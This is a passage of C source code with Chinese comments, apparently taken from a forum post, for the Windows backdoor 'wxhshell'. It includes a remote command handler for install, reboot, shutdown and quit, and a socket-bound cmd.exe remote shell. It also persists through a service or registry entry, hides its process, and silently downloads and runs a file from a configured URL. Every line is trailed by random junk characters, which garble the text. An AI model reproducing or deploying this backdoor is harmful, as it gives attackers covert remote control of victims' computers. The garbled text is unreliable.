    switch(cmd[0]) { ,k+F8{Q.  
  ?:c:D5N  
  // 帮助 BW5!@D2  
  case '?': { 1 R,?kUa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %O02xr=  
    break; o?((FW5.;  
  } <:!;79T\  
  // 安装 OD yKS;   
  case 'i': { t<H@c9{;*  
    if(Install()) DEN (pA\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^hyp}WN  
    else jrLV\(p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^#p+#_*V  
    break; K<~J*k<v  
    } ^/:G`'  
  // 卸载 4fgYO]  
  case 'r': { %=<Kb\  
    if(Uninstall()) `#y?:s ]e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ojs ^-R_  
    else >A*BRX"4C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?a{es!  
    break; 9 6j*F,{  
    } !UF (R^  
  // 显示 wxhshell 所在路径 mb#&yK(h  
  case 'p': { *jrQ-'<T  
    char svExeFile[MAX_PATH]; +GFK!Pf  
    strcpy(svExeFile,"\n\r"); 3.@ I\p}  
      strcat(svExeFile,ExeFile); :Lh`Q"a  
        send(wsh,svExeFile,strlen(svExeFile),0); ]~t4E'y)z  
    break; pGT?=/=*  
    } p$!Q?&AV/  
  // 重启 P>[,,w  
  case 'b': { c^ W \0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6sz:rv}  
    if(Boot(REBOOT)) c]>LL(R-7)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qm5Sf=E7Q  
    else { zTb,h  
    closesocket(wsh); Q zq3{%^x_  
    ExitThread(0); O0=}: HM  
    } Fh U*mAX)  
    break; df@G+v0_1  
    } atYe$Db  
  // 关机 m=Fk  
  case 'd': { _6Qb 3tl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (\*+HZ`(Uu  
    if(Boot(SHUTDOWN)) hVf;{p &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P`]p&:  
    else { q-R'5p\C?|  
    closesocket(wsh); 3Ued>8Gv  
    ExitThread(0); YAJr@v+Ls  
    } uraT$Q}  
    break; xQ~N1Y2W  
    } F_z1ey`t  
  // 获取shell *di}rQHm  
  case 's': { CI+@G XY  
    CmdShell(wsh); -YJ4-]Z  
    closesocket(wsh); %Q y9X+N:  
    ExitThread(0); < +X,oxg  
    break; N5jJ,iz  
  } tVqc!][   
  // 退出 ![3l K  
  case 'x': { %mr6p}E|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 84jA)  
    CloseIt(wsh); .u\xA7X  
    break; Q@5v> `  
    } /& wA$h  
  // 离开 /@feY?glc  
  case 'q': { &)GlLpaT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P)rz%,VF+  
    closesocket(wsh); _t.Ub:  
    WSACleanup(); @8"cT-  
    exit(1); (c|Ry[$|  
    break; =L9;8THY  
        } Wj"GS!5  
  } wLOS , =  
  } ' T%70)CM~  
Ot([5/K  
  // 提示信息 $i;_yTht  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x A"V!8C  
} )Oix$B!-  
  } D9;s%  
bXRSKp[$  
  return; GjeRp|_Qd<  
} VK3e(7 b  
Yu_` >so  
// shell模块句柄 rO7[{<97m  
int CmdShell(SOCKET sock) i8i~b8r]  
{ O~&j}WN  
STARTUPINFO si; _ Y8j l,J  
ZeroMemory(&si,sizeof(si)); J*m ~fZ^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8c5%~}kG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U~s-'-C /  
PROCESS_INFORMATION ProcessInfo; \Ws$@ J-M  
char cmdline[]="cmd"; -$tf`   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WNWtQ2]  
  return 0; &LDA=B  
} Q/^a(   
Wk-jaz  
// 自身启动模式 &.)ST0b4  
int StartFromService(void) z%~rQa./$  
{ 7xoq:oP-}N  
typedef struct K} TSwY  
{ xF])NZy|  
  DWORD ExitStatus; qJYEsI2M  
  DWORD PebBaseAddress; r(DW,xoK0  
  DWORD AffinityMask; `PI?RU[g*  
  DWORD BasePriority; f}uW(:f  
  ULONG UniqueProcessId; ]Yx&  
  ULONG InheritedFromUniqueProcessId; Rs;Y|W4'  
}   PROCESS_BASIC_INFORMATION; -Ta| qQa  
"d c- !  
PROCNTQSIP NtQueryInformationProcess; pu,|_N[xq8  
ve@E.`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Pe)SugCs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t)^18 z  
]D&\|,,(  
  HANDLE             hProcess; bPUldkB:  
  PROCESS_BASIC_INFORMATION pbi; Ys+NIV#Q  
<z R CT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  #[yZP9  
  if(NULL == hInst ) return 0; =L&dV]'4P  
9 gWqs'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5[|ZceY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'NSfGC%7R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &9Xn:<"`)  
t2RL|$>F1  
  if (!NtQueryInformationProcess) return 0; hd~0qK  
~Zo;LSI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @JU Xp  
  if(!hProcess) return 0; prO ~g  
IUSV\X9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j+NsNIJq  
-mqL[ h,  
  CloseHandle(hProcess); 9/$Cq  
l }WvO]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !]2`dp\!  
if(hProcess==NULL) return 0; 9Z lfY1=  
$3yn-'o'A  
HMODULE hMod; GyLp&aa  
char procName[255]; 0q_?<v_ 1  
unsigned long cbNeeded; d0}P  
:[!b";pR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]Ia}H+&  
C1po]Ott*  
  CloseHandle(hProcess); ;>r E+k%_  
KU 98"b5  
if(strstr(procName,"services")) return 1; // 以服务启动 (65|QA   
JlhI3`X;/  
  return 0; // 注册表启动 uh&Qdy!I  
} ^C70b)68  
mae@L  
// 主模块 \.Z /  
int StartWxhshell(LPSTR lpCmdLine) &*9 ' 0  
{ M{Hy=:K+  
  SOCKET wsl; JV@b(x`  
BOOL val=TRUE; Bnh*;J0  
  int port=0; RKD$'UWX  
  struct sockaddr_in door; mt}3/d  
<Xb$YB-c  
  if(wscfg.ws_autoins) Install(); |^C35 6M>  
jYE ?wc+FT  
port=atoi(lpCmdLine); z4wG]]Kh*  
iE,/x^&,&  
if(port<=0) port=wscfg.ws_port; L-VisZ-FK  
V*H7m'za  
  WSADATA data; UYvdzCUh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O1Nya\^g<I  
tqzr +  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~vB dq Yj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v{oHC4  
  door.sin_family = AF_INET; w<Ot0&&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KZ$^Q<d^  
  door.sin_port = htons(port); Hk@LHC  
!]l;n Fd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g4}K6)@  
closesocket(wsl); Nc:0opPM  
return 1; ,Y`TP4Ip  
} w 3$9  
J8?V1Ad{  
  if(listen(wsl,2) == INVALID_SOCKET) { jq( QL%)_O  
closesocket(wsl); wPl9%  
return 1; Tno 0Q +  
} B~47mw&b  
  Wxhshell(wsl); `Tc"a_p9t  
  WSACleanup(); Y%Tm `$^V  
j6#Vwcr  
return 0; To =JE}jzo  
=PYS5\k  
} CSlPrx2\  
|Pq z0n=v  
// 以NT服务方式启动 ]:svR@E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O7z5,-  
{ >(C5&3^  
DWORD   status = 0; v%;Ny ab6$  
  DWORD   specificError = 0xfffffff; FZx.Yuv  
q" @%WK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SY$%)(c8kL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %OJq(}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5v"Sv  
  serviceStatus.dwWin32ExitCode     = 0; Esdw^MGL2  
  serviceStatus.dwServiceSpecificExitCode = 0; %nhE588xf  
  serviceStatus.dwCheckPoint       = 0; <F ?UdMT4y  
  serviceStatus.dwWaitHint       = 0; Jp-6]uW  
dyVfDF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?b xa k  
  if (hServiceStatusHandle==0) return; >;+q,U}  
b_']S0$c\  
status = GetLastError(); ?6//'bO:%  
  if (status!=NO_ERROR) a\tv,Lx  
{ WP >VQZ&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t(Gg 1  
    serviceStatus.dwCheckPoint       = 0; *}=z^;_oq  
    serviceStatus.dwWaitHint       = 0; {!xDJnF;  
    serviceStatus.dwWin32ExitCode     = status; `gz/?q  
    serviceStatus.dwServiceSpecificExitCode = specificError; _:+ k|I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lf}%^od~6  
    return; %a|m[6+O  
  } i Ie{L-Na  
"z4V@gk   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'wVi>{?  
  serviceStatus.dwCheckPoint       = 0; t)hi j&wzu  
  serviceStatus.dwWaitHint       = 0; wVkRrFJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +Sak_*fq  
} &;[e  
+ I4s0  
// 处理NT服务事件,比如:启动、停止 "=!sZO?3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b=XHE1^rM  
{ f{)nxd >#  
switch(fdwControl) YcN&\(  
{ f}cCnJK  
case SERVICE_CONTROL_STOP: y=LN| vkQ  
  serviceStatus.dwWin32ExitCode = 0; 6xoCB/]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }NKnV3G/Z  
  serviceStatus.dwCheckPoint   = 0; ~2[mZias  
  serviceStatus.dwWaitHint     = 0; :(#5%6F  
  { B}^l'p_u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z4369  
  } y\ax?(z  
  return; nx@,oC4  
case SERVICE_CONTROL_PAUSE: Y'76!Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `_!R;f  
  break; U &RZx&W  
case SERVICE_CONTROL_CONTINUE: J }|6m9k!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i=jY l  
  break; @.} @K  
case SERVICE_CONTROL_INTERROGATE: m.Ki4NUm  
  break; lQ#='Jqfp  
}; !7Nz_d~n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rY295Q  
} \nU_UH  
a LJ d1Q  
// 标准应用程序主函数 Ww=b{lUD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,AwX7gx22  
{ x+EEMv3u:  
h_15"rd  
// 获取操作系统版本 yZc#@R[0  
OsIsNt=GetOsVer(); z m+3aF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lmw4  
_ qU-@Y$  
  // 从命令行安装 <KFl4A~  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2*a5pFkb  
i9D<jkc  
  // 下载执行文件 6mV^a kapv  
if(wscfg.ws_downexe) { ,1>n8f77]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fPq)Lx1'  
  WinExec(wscfg.ws_filenam,SW_HIDE); T l8`3`e  
} ei(S&u<  
iJS7g  
if(!OsIsNt) { RKy!=#;17  
// 如果时win9x,隐藏进程并且设置为注册表启动 y#i` i  
HideProc(); SLda>I(p7&  
StartWxhshell(lpCmdLine); F$jfPy-f  
} AA0\C_W0p  
else &/(JIWc1su  
  if(StartFromService()) X<&Y5\%F  
  // 以服务方式启动 3,1HD_  
  StartServiceCtrlDispatcher(DispatchTable); r0q?e`nsA  
else OM81$Xo=  
  // 普通方式启动 iH8V]%  
  StartWxhshell(lpCmdLine); MzE1he1  
~L:H]_8F l  
return 0; =s&ycc;-5}  
}
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只看该作者 1 发表于: 2006-10-10
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